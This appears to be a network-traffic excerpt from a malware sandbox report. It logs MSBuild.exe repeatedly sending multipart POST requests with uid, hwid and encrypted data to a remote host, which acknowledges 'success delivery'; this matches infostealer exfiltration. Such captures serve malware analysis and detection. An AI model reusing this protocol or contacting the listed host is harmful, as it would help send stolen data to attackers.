2025-03-16 18:04:01 UTC	583	IN	Data Raw: 01 1a a7 70 30 6e 87 5d 12 a1 ee ee 74 d6 1f f3 f0 89 a9 63 4a 65 06 3c e6 71 6c e8 e2 70 c5 65 22 02 f2 ea f6 83 0d fc 25 92 1f 50 3d ec df 83 b1 8c d8 be 98 d5 64 df 2c 64 2f c1 65 61 c9 db 27 a4 0d a5 aa 15 8f 67 8e 1b c4 f6 0b 23 d2 07 fc c5 4e ed 7e 56 6c ce 83 58 37 e1 bc a6 44 ed 26 72 fc e2 32 04 d3 f2 9d 8a f7 d2 82 29 c1 df e7 04 6a ff df ec ef f5 64 12 77 bc 4e 10 0d b5 b5 59 40 d1 96 10 fa 78 8a db d5 af 14 7a a9 e2 b8 a9 0c b4 4e 6a ee 4c 3f b0 e1 70 67 63 64 59 a8 f3 c7 12 df cd 41 8c ef 90 8b 12 3f 7a f4 40 a9 ea fc 9b 9f 5e d9 f2 25 c9 38 fa a5 4f 34 14 99 77 03 55 51 70 d8 10 75 48 bd 60 59 16 57 37 ef 99 32 c3 10 95 60 c4 45 1c e9 70 37 6e df 36 fe 33 d2 f5 df c0 86 7f f9 65 7e 4d 99 a7 a2 0f f9 8b fa aa 7d 37 8c 79 81 49 92 f3 00 75 63 Data Ascii: p0n]tcJe<qlpe"%P=d,d/ea'g#N~VlX7D&r2)jdwNY@xzNjL?pgcdYA?z@^%8O4wUQpuH`YW72`Ep7n63e~M}7yIuc
2025-03-16 18:04:01 UTC	1369	IN	Data Raw: a5 ac d5 c9 9d 50 b9 9b d9 f7 c7 56 cd 63 fe 23 13 83 2b bf 50 a9 b5 08 77 26 99 b0 d9 33 1a b3 6d d5 0a 07 31 d7 71 8b 5b 21 b0 e9 24 cc 10 0f ed a5 4c 43 9d 91 d0 ff 56 6a 54 58 31 1e 05 ca fb c8 40 b9 cd 8d f1 f2 47 4e 10 10 cd 1e 78 e6 fa 0d ea 1b f0 56 86 dd 83 12 d6 3e 20 4a 23 30 79 87 c3 be ef 5e 3d ba 76 58 b9 35 bc 7f 13 2a 47 d6 11 99 d8 d0 cd cf 37 18 4f a6 0b b0 e9 3d 40 9a c6 52 0a 7e a7 3f ee 01 7a f5 78 89 34 bd db f3 8a aa 8c d7 49 8c d4 72 cd f4 2c 11 94 97 f6 cf 4b 0c 3c e2 f6 9f 49 25 a8 4f 47 89 3d cd 00 11 5d 54 11 bc e6 a5 5e 76 65 e1 0e 87 9d 00 6d b5 a8 b5 3a 86 84 68 6d 62 17 5a 08 69 78 18 f7 22 f8 f2 61 7c 1e c5 fa db 97 31 a8 19 23 51 bf 75 e5 d1 11 fc 01 c8 3c e6 52 64 98 9b 4d e0 35 87 ed d8 0c ac 4a b6 a3 30 94 b9 93 a3 26 Data Ascii: PVc#+Pw&3m1q[!$LCVjTX1@GNxV> J#0y^=vX5*G7O=@R~?zx4Ir,K<I%OG=]T^vem:hmbZix"a\|1#Qu<RdM5J0&
2025-03-16 18:04:01 UTC	1369	IN	Data Raw: 62 d2 8c c0 eb dd 20 21 d4 71 8f bc df 14 c1 2b 5b b3 75 c5 8e b5 30 b4 70 f2 0c 95 89 e6 06 ab 8d bd 12 47 ce 07 33 a4 85 b5 86 aa ea 84 c0 1d 42 7f a9 6b 3e a8 dd 51 cc 04 1a 78 38 26 1b e7 a0 ec 0d c8 23 c9 af f8 f2 c9 1a ab 99 10 8b fd b0 98 d2 5d f3 78 b7 1f b5 6a 28 34 6d 86 50 05 a2 1d b2 2c 68 05 be f1 d4 54 72 cc 59 10 aa e0 7c 97 7f a1 df a8 8c ce 03 b8 54 97 fb 95 75 9c 86 fa fb 00 4d a2 35 38 4f b1 b5 1f ea f8 f7 c9 66 4d 2b d9 b3 29 37 7e a8 3b ba 9a e6 89 3a d8 0d 95 10 2b 05 ab 00 e3 64 f8 38 e5 6b aa a5 f2 c7 be 14 22 14 42 53 86 96 80 09 93 87 28 46 7d b6 43 91 a1 94 c2 7b 4c 94 d4 e6 e6 f5 99 b8 ae 6b 3e 3b 29 95 95 40 51 08 fa cb 85 ee 5f 1d e5 e3 c3 62 44 c7 49 8b ad 1f 2c 3f 03 4c c6 cf c2 7c 37 e9 e4 84 4b aa a2 77 c8 a6 b6 90 63 5f Data Ascii: b !q+[u0pG3Bk>Qx8&#]xj(4mP,hTrY\|TuM58OfM+)7~;:+d8k"BS(F}C{Lk>;)@Q_bDI,?L\|7Kwc_
2025-03-16 18:04:01 UTC	1369	IN	Data Raw: 56 57 0f 6b ee df d6 6c a1 4e 2f 98 6b 57 f5 8d 5a 74 83 90 de 30 19 6f 0f dd d7 53 2c eb 62 6e af 68 78 27 5d f6 31 1d c4 53 fc 60 e4 46 6c 8d 08 08 77 f5 80 2b 25 cf 35 bc 5f 5f d4 6c 2e 2e 3e 2b 8f 1c 46 31 cf a4 60 b8 66 8e 11 b0 83 8d 0b b1 70 5d c5 c5 9b 8f 96 bc 98 14 a4 da a9 57 ab f6 c8 b2 6c 8a e8 16 ec c4 55 c4 c6 28 4f 22 4d 46 07 63 70 7b d7 78 d9 a8 c1 e0 c8 37 f7 fc 0c f5 f3 45 92 25 50 ce a9 7a a6 ad 77 3a e2 2d 5d 14 0c ac bf 8b c8 3b 52 e6 b6 66 63 e0 11 34 1e 88 07 0f 77 59 42 37 78 93 ed 13 95 00 d3 f9 29 a7 34 cc 14 2b 01 fb f9 a2 b7 cf 2c 5b 03 1e 2e 09 73 af e4 f7 27 bd ee 95 90 0f 8a 69 c9 a8 f4 e5 28 ff 8b 35 84 0f 2f 87 e4 8b 82 b7 6c 1b 28 7c f7 cf 16 8c 82 88 f3 f3 20 fc f0 b6 31 1b d1 7b 5b 35 c5 0b 1e b4 85 5e 63 22 d9 9e 35 Data Ascii: VWklN/kWZt0oS,bnhx']1S`Flw+%5__l..>+F1`fp]WlU(O"MFcp{x7E%Pzw:-];Rfc4wYB7x)4+,[.s'i(5/l(\| 1{[5^c"5
2025-03-16 18:04:01 UTC	1369	IN	Data Raw: 8c 8f 2a 7d 4d 79 ec 4d 80 d4 4a 27 9b 7d 39 b4 7b a7 54 7c 87 48 14 b1 eb 71 7c c0 2f ac 18 9f ce b3 c9 dd d6 f1 0b 2c e7 61 50 c9 d3 18 46 db fc 32 c4 1c 5d 05 dd 62 2a 93 4f de 7d 6d a5 2a ea 1c 20 5a d4 c3 67 5b a8 b7 6b 56 21 50 d3 6b 0a cd 74 1c b7 fc 40 bd a6 78 0f c6 81 d0 b0 2d 19 34 0d b6 bf 4b 58 4d 80 bd a9 c9 fb bf fd 99 30 ff 2d 0a 16 dc e3 83 41 68 7e e2 ac 93 c0 e9 2f 72 13 66 04 d7 f0 dc 60 a4 b6 56 1e 62 71 76 01 60 e5 0e e7 84 b9 4d cc 6b 31 51 0c 8b dc 9d c5 55 0a 68 35 61 48 47 d5 03 c6 84 7c bb d7 0c 26 50 ab 6c be ea 59 1a b7 27 6d 64 84 6c 85 de 0a c8 af 58 62 e9 b4 31 a4 bb c7 01 27 91 c0 25 54 57 81 47 21 8f 32 ed b4 c4 b2 46 71 c7 5c 0b 61 5f 7f 17 cc 42 cb 80 d1 f0 01 35 e9 4c a0 34 50 d7 0b 45 02 85 80 0d 60 6d aa 84 6b 05 cd Data Ascii: }MyMJ'}9{T\|Hq\|/,aPF2]bO}m* Zg[kV!Pkt@x-4KXM0-Ah~/rf`Vbqv`Mk1QUh5aHG\|&PlY'mdlXb1'%TWG!2Fq\a_B5L4PE`mk
2025-03-16 18:04:01 UTC	1369	IN	Data Raw: 35 50 22 f0 4f db 9b b5 17 7c 45 75 f0 e5 53 28 c4 20 fa 44 75 f5 e2 76 ad 5d 2d 9f 7f c0 d1 cb b4 cd 5d 00 7a 97 1b ae d2 4e b5 cf 35 5f 74 cb e8 8c fd 47 53 b0 ea 02 18 e5 b7 05 f2 52 4a f6 8f 6c 27 a7 24 30 1a 41 3b bc dd ca 62 6f e7 86 99 cb 82 34 79 7f 31 23 ce 86 b8 ad c2 ba 1d 05 43 dd ac 55 8a 78 48 6a f6 37 83 46 96 cb c8 5b 1c ac 97 5a 87 4e 45 5d 09 55 fd af 4f 80 6d 18 69 ef f2 77 9e 5b 52 4e 23 12 a8 0f 2a 94 1d 0a 1c 89 e9 b2 43 88 88 5e 4f 6d 04 76 e2 ca 27 c9 85 9f ca b6 39 41 74 b2 7e f8 e4 d1 69 ce 9b 94 b6 88 0e 2f 7c 94 b3 8a 80 62 ce b0 4e 24 5a 3d 77 35 e8 2f e3 bc bb 77 2c c9 40 6e 59 80 15 00 8c 4c 65 31 d6 ba 01 46 ec b8 3d 21 c5 7f ae 99 62 c5 49 58 ff 7f 66 58 b4 2a f4 74 1c 98 3a 26 3e f9 fc bf bd c1 5f 04 91 7f 3a 46 d8 15 04 Data Ascii: 5P"O\|EuS( Duv]-]zN5_tGSRJl'$0A;bo4y1#CUxHj7F[ZNE]UOmiw[RN#C^Omv'9At~i/\|bN$Z=w5/w,@nYLe1F=!bIXfXt:&>_:F
2025-03-16 18:04:01 UTC	1369	IN	Data Raw: 65 37 4f 17 3c 75 47 a9 03 ce 34 3c c4 47 1b 80 8a 95 83 f0 c3 b3 f5 02 01 7a ec e2 58 88 32 95 11 33 ea 0e 3d 5f ad 4d 28 6a 1d 3d 17 52 99 cf 9f c6 99 eb 86 5f f1 97 f6 98 51 63 5c cd 6a 75 88 33 a9 97 45 f9 ce b4 20 a9 03 6d 09 5e d9 48 46 c5 b6 73 91 5b 64 43 5f 3c 04 4d 23 f3 e9 47 32 0b eb 46 cc bb 6d e9 b9 51 38 66 5c 21 ec b2 b3 42 b8 31 ae 04 53 b9 dd a9 40 5d af e1 21 69 af c9 da 3c 6e 9c a8 50 9a e9 25 18 cb e6 4e 2d 9e 86 2f 63 96 b7 4c fe ae 98 79 2a 8e 91 2f fd d8 15 e2 b6 ae 3b b2 e4 00 f4 40 0d 2f 27 65 da f7 bd 30 4f 5f a1 6e d1 18 3d 8d b3 0e 2d 6b b3 82 7a 1b ce 94 44 77 9d ee 18 c4 26 fe e9 d1 31 44 10 50 cc 35 15 18 99 3d 7e 14 cf 77 b8 23 8b 36 2b e9 d5 22 1c a7 67 ae 95 e6 1a 30 dc b5 8c ae 69 01 a7 2c 6a 91 7e a3 03 b5 94 e3 cc b4 Data Ascii: e7O<uG4<GzX23=_M(j=R_Qc\ju3E m^HFs[dC_<M#G2FmQ8f\!B1S@]!i<nP%N-/cLy*/;@/'e0O_n=-kzDw&1DP5=~w#6+"g0i,j~
2025-03-16 18:04:01 UTC	1369	IN	Data Raw: 9f 5f f5 88 d2 88 aa 84 0a ca 53 dc ee 36 0c d1 f5 ec 3e 68 70 35 64 bc 51 eb c5 34 75 de 8c a3 77 47 0e bc da 9b 8d cc 60 f6 64 4d 08 66 e0 20 10 af 19 ee 83 c2 78 b3 84 3b 9d 59 22 08 8c ff 23 ee ec ff e9 2c 51 58 35 95 23 cc fa fc 10 5d 57 cf 22 83 0d 96 fe 6c 05 99 f5 c3 d7 8a 40 ca d2 78 96 a8 16 ce 60 26 a8 e5 19 cd a4 ee 09 a0 0e fa 8e f0 40 09 91 42 39 6c 51 f7 4c a2 ff 33 71 b4 16 3c a7 9b b2 c9 32 8b 87 a4 97 5c 67 12 12 e1 bf 01 b3 6f 99 a3 b6 62 39 9e fc 1e 18 0c be 5c 36 4f 53 6d c2 40 4d 3a c8 7f 09 cc 3e bf b4 de 9b 08 c0 12 e8 7b d3 16 57 e2 a7 9c 66 44 9c d0 e3 b7 5a d0 31 e3 c8 fd 0f 53 57 df 2c 68 ac b2 f0 5f 13 50 01 83 1b e4 8a 52 cc 29 96 37 a7 48 46 c5 fd 16 8b e0 aa 09 b1 cb 95 c1 fc 15 e1 16 8c 3c cf 99 48 50 91 2b dc 21 79 39 1c Data Ascii: _S6>hp5dQ4uwG`dMf x;Y"#,QX5#]W"l@x`&@B9lQL3q<2\gob9\6OSm@M:>{WfDZ1SW,h_PR)7HF<HP+!y9
2025-03-16 18:04:01 UTC	1369	IN	Data Raw: 28 10 26 2d d7 3b 8c 43 83 a6 82 5e 65 63 91 cc d2 bb 08 3d 6d 0c ca c8 ba a3 1a d0 7e b7 19 39 e6 a4 1c 28 11 9f 57 67 58 d0 0d ea 9e f4 3d 2b 92 5b bd e5 f6 93 f5 1e 00 ef ab 1a 65 0c c2 52 3a 01 0d 68 e7 0a 34 2c 2f 62 68 b1 76 21 f0 de 6d a6 88 40 48 5b e9 c1 86 46 c1 0c 69 73 ce 06 46 37 3f 5e f3 7a 7e 67 b3 65 cb 11 d3 b1 46 86 6a ff 35 c6 6b 9e 89 3b 94 42 53 26 29 68 1f 24 25 5e ed 36 79 68 53 34 b1 6a 3a 55 00 23 79 9f 41 5b a3 e8 fe 13 08 df 89 be df b8 b0 09 11 72 1c 1b 4e c3 2c d5 58 55 cc d5 85 e0 b9 c0 37 3c 20 87 4f 3f 8e c0 57 af 14 ce 38 c9 34 16 da e3 ad 5c 84 cc d1 6f 19 58 29 52 dc f5 42 d5 2b 44 fb 1d c5 c5 7a ee c9 7a e7 b2 f9 24 dc 98 0a 31 30 e4 6b 85 b4 38 e0 6c 1c 35 a2 d8 bd dd 76 5d 8d 76 f4 7b f0 43 3d 68 0f 24 48 1a d9 66 76 Data Ascii: (&-;C^ec=m~9(WgX=+[eR:h4,/bhv!m@H[FisF7?^z~geFj5k;BS&)h$%^6yhS4j:U#yA[rN,XU7< O?W84\oX)RB+Dzz$10k8l5v]v{C=h$Hfv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49711	188.114.96.3	443	7624	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-16 18:04:01 UTC	284	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6hMvgV83JHVIT9kihz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19631 Host: loadoutle.life
2025-03-16 18:04:01 UTC	15331	OUT	Data Raw: 2d 2d 36 68 4d 76 67 56 38 33 4a 48 56 49 54 39 6b 69 68 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 35 36 35 62 38 62 33 34 37 30 66 39 64 32 65 66 32 36 31 61 33 38 65 66 63 35 39 37 61 66 63 37 37 38 30 31 37 63 31 63 32 61 64 32 66 61 65 65 36 36 30 0d 0a 2d 2d 36 68 4d 76 67 56 38 33 4a 48 56 49 54 39 6b 69 68 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 68 4d 76 67 56 38 33 4a 48 56 49 54 39 6b 69 68 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 Data Ascii: --6hMvgV83JHVIT9kihzContent-Disposition: form-data; name="uid"6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660--6hMvgV83JHVIT9kihzContent-Disposition: form-data; name="pid"2--6hMvgV83JHVIT9kihzContent-Disposition: form-data; name="hw
2025-03-16 18:04:01 UTC	4300	OUT	Data Raw: 3a df 16 7b e4 d2 84 a3 a3 73 65 09 73 5c b2 0e df a1 fb d5 1e 99 0a bd b2 6a f7 f9 3f e8 a0 35 c6 e5 b1 ee d6 96 78 89 b0 60 df bb a3 0d 7c 19 d4 b4 48 25 52 62 28 10 a2 76 2e 75 df b7 88 0e 1d b4 45 35 79 1a cb e4 eb 81 0a 80 10 cc 4a c4 1d e9 de 7e fa bd 38 30 91 5c a7 6d 00 5f 5e 59 21 6c 71 62 7c eb 50 b7 24 99 1c 48 ff 99 58 69 68 b0 30 48 55 5f 7e 7e 56 42 c8 cf 57 70 d9 56 c6 f0 9e d5 5f 4f 0e 68 8d 20 04 a3 5f d7 91 42 36 bf 6a 77 6a ab 4e d3 1a be 8f 6b 99 da 7c 64 79 18 fe 75 76 61 47 2d 2b 15 df 47 45 96 f9 6b 28 3c bc 6d ed 2f 1e 30 54 5b 30 a1 ff e1 19 45 a6 e3 05 b2 06 88 1f 14 a3 c0 7d 21 52 4c 41 7f 84 f6 1b 95 6e 04 77 b6 40 b2 3a e2 f8 01 f6 60 73 0c 29 1a e9 f6 ca 2f 54 4e 5e ff ee db 93 d0 d9 1b 7d 4a 10 8c 08 5f 97 55 c1 7b 4f 72 5b Data Ascii: :{ses\j?5x`\|H%Rb(v.uE5yJ~80\m_^Y!lqb\|P$HXih0HU_~~VBWpV_Oh _B6jwjNk\|dyuvaG-+GEk(<m/0T[0E}!RLAnw@:`s)/TN^}J_U{Or[
2025-03-16 18:04:02 UTC	272	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 18:04:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC CF-RAY: 92162baf5eb5de93-EWR alt-svc: h3=":443"; ma=86400
2025-03-16 18:04:02 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d 7d 0d 0a Data Ascii: 44{"success":{"message":"message success delivery from 8.46.123.189"}}
2025-03-16 18:04:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49712	188.114.96.3	443	7624	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-16 18:04:02 UTC	279	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=48xR9e25Z91Sov User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8768 Host: loadoutle.life
2025-03-16 18:04:02 UTC	8768	OUT	Data Raw: 2d 2d 34 38 78 52 39 65 32 35 5a 39 31 53 6f 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 35 36 35 62 38 62 33 34 37 30 66 39 64 32 65 66 32 36 31 61 33 38 65 66 63 35 39 37 61 66 63 37 37 38 30 31 37 63 31 63 32 61 64 32 66 61 65 65 36 36 30 0d 0a 2d 2d 34 38 78 52 39 65 32 35 5a 39 31 53 6f 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 38 78 52 39 65 32 35 5a 39 31 53 6f 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 38 38 31 43 Data Ascii: --48xR9e25Z91SovContent-Disposition: form-data; name="uid"6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660--48xR9e25Z91SovContent-Disposition: form-data; name="pid"2--48xR9e25Z91SovContent-Disposition: form-data; name="hwid"3881C
2025-03-16 18:04:03 UTC	272	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 18:04:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC CF-RAY: 92162bb5bdb82363-EWR alt-svc: h3=":443"; ma=86400
2025-03-16 18:04:03 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d 7d 0d 0a Data Ascii: 44{"success":{"message":"message success delivery from 8.46.123.189"}}
2025-03-16 18:04:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49713	188.114.96.3	443	7624	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-16 18:04:04 UTC	282	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0BDK40Pfib5sSx01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20431 Host: loadoutle.life
2025-03-16 18:04:04 UTC	15331	OUT	Data Raw: 2d 2d 30 42 44 4b 34 30 50 66 69 62 35 73 53 78 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 35 36 35 62 38 62 33 34 37 30 66 39 64 32 65 66 32 36 31 61 33 38 65 66 63 35 39 37 61 66 63 37 37 38 30 31 37 63 31 63 32 61 64 32 66 61 65 65 36 36 30 0d 0a 2d 2d 30 42 44 4b 34 30 50 66 69 62 35 73 53 78 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 42 44 4b 34 30 50 66 69 62 35 73 53 78 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d Data Ascii: --0BDK40Pfib5sSx01Content-Disposition: form-data; name="uid"6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660--0BDK40Pfib5sSx01Content-Disposition: form-data; name="pid"3--0BDK40Pfib5sSx01Content-Disposition: form-data; name="hwid"
2025-03-16 18:04:04 UTC	5100	OUT	Data Raw: 4e 4c 7b a1 6d 13 52 29 9e 42 f6 2b 92 05 65 a2 54 06 86 62 01 0b 6e 72 ff 89 1d 96 2c ad 65 f8 25 f9 03 27 0f 96 f6 a7 88 91 2e 8c 1c ba 4a b9 a2 48 be 64 d8 6c 3d 92 ba 90 a3 2b 9f e5 f5 13 d2 88 df fb 26 ed 1b 3d 84 79 d9 5e c1 dc 6c 16 10 e3 31 5d bc f5 1b 46 81 9d fe 72 1a 00 a8 2f a1 52 72 1f 32 4b 15 20 82 34 0c 91 df df 79 57 ee d5 d4 58 31 b6 f6 ef b5 d1 22 47 09 5a 52 b8 27 ab 1d dc 6d 54 e2 a5 d2 d5 37 7c 90 34 5d a0 47 da 34 0f 2d d1 a5 20 f7 a7 82 de b0 62 a8 db 05 e8 54 a3 6e d4 aa b4 9e bc 53 05 8f 23 4d db 6a 4f f2 08 00 61 74 26 3f e4 2f eb 0d 04 3c 37 8a ba f4 2e 43 53 08 c8 ee b3 46 18 1c 28 45 68 67 c5 36 ba 9f a3 19 c7 94 15 b4 b6 fe d2 ba 46 c5 6f 49 c7 65 9f d9 cf f7 9a d0 44 fd d3 7c 7d b0 65 16 72 20 45 57 c3 8e 83 96 a6 e8 8c 9a Data Ascii: NL{mR)B+eTbnr,e%'.JHdl=+&=y^l1]Fr/Rr2K 4yWX1"GZR'mT7\|4]G4- bTnS#MjOat&?/<7.CSF(Ehg6FoIeD\|}er EW
2025-03-16 18:04:04 UTC	828	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 18:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b1hmDF20njfjS%2B%2BvO94nnmaelE%2B7mmaEy%2FFDjMFtMJ8yWSjpG6bNihy2nizUzIR3FmpdrhbgjjZ8L1N%2BFcuBM%2FYWEvZ8Te%2BuC%2FLbaEW7277U9NWfYgcRE%2BeIaItEN9ZKeA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92162bbf1f888186-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1692&rtt_var=644&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2833&recv_bytes=21393&delivery_rate=1725768&cwnd=133&unsent_bytes=0&cid=6441cb488563d5ae&ts=542&x=0"
2025-03-16 18:04:04 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d 7d 0d 0a Data Ascii: 44{"success":{"message":"message success delivery from 8.46.123.189"}}
2025-03-16 18:04:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49716	188.114.96.3	443	7624	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-16 18:04:05 UTC	274	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C9gs635q4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2541 Host: loadoutle.life
2025-03-16 18:04:05 UTC	2541	OUT	Data Raw: 2d 2d 43 39 67 73 36 33 35 71 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 35 36 35 62 38 62 33 34 37 30 66 39 64 32 65 66 32 36 31 61 33 38 65 66 63 35 39 37 61 66 63 37 37 38 30 31 37 63 31 63 32 61 64 32 66 61 65 65 36 36 30 0d 0a 2d 2d 43 39 67 73 36 33 35 71 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 39 67 73 36 33 35 71 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 38 38 31 43 36 46 38 39 39 42 36 44 46 35 45 36 41 42 42 Data Ascii: --C9gs635q4Content-Disposition: form-data; name="uid"6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660--C9gs635q4Content-Disposition: form-data; name="pid"1--C9gs635q4Content-Disposition: form-data; name="hwid"3881C6F899B6DF5E6ABB
2025-03-16 18:04:05 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 18:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f6G1G7AkGMc2KpcNLFMsxsdvQ7MaqM7iir8KN6cWHcky%2Fxp9YgYLXNPMZPQrqGxPvfJ4cfDcWRX1IX8a5ei5igijZdkaik%2BAKP31x6x4Wj6Rio2c8iSjpdINu9kkYJqIEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92162bc65f482f06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1667&min_rtt=1664&rtt_var=630&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=3451&delivery_rate=1728833&cwnd=83&unsent_bytes=0&cid=231b1984019642b1&ts=385&x=0"
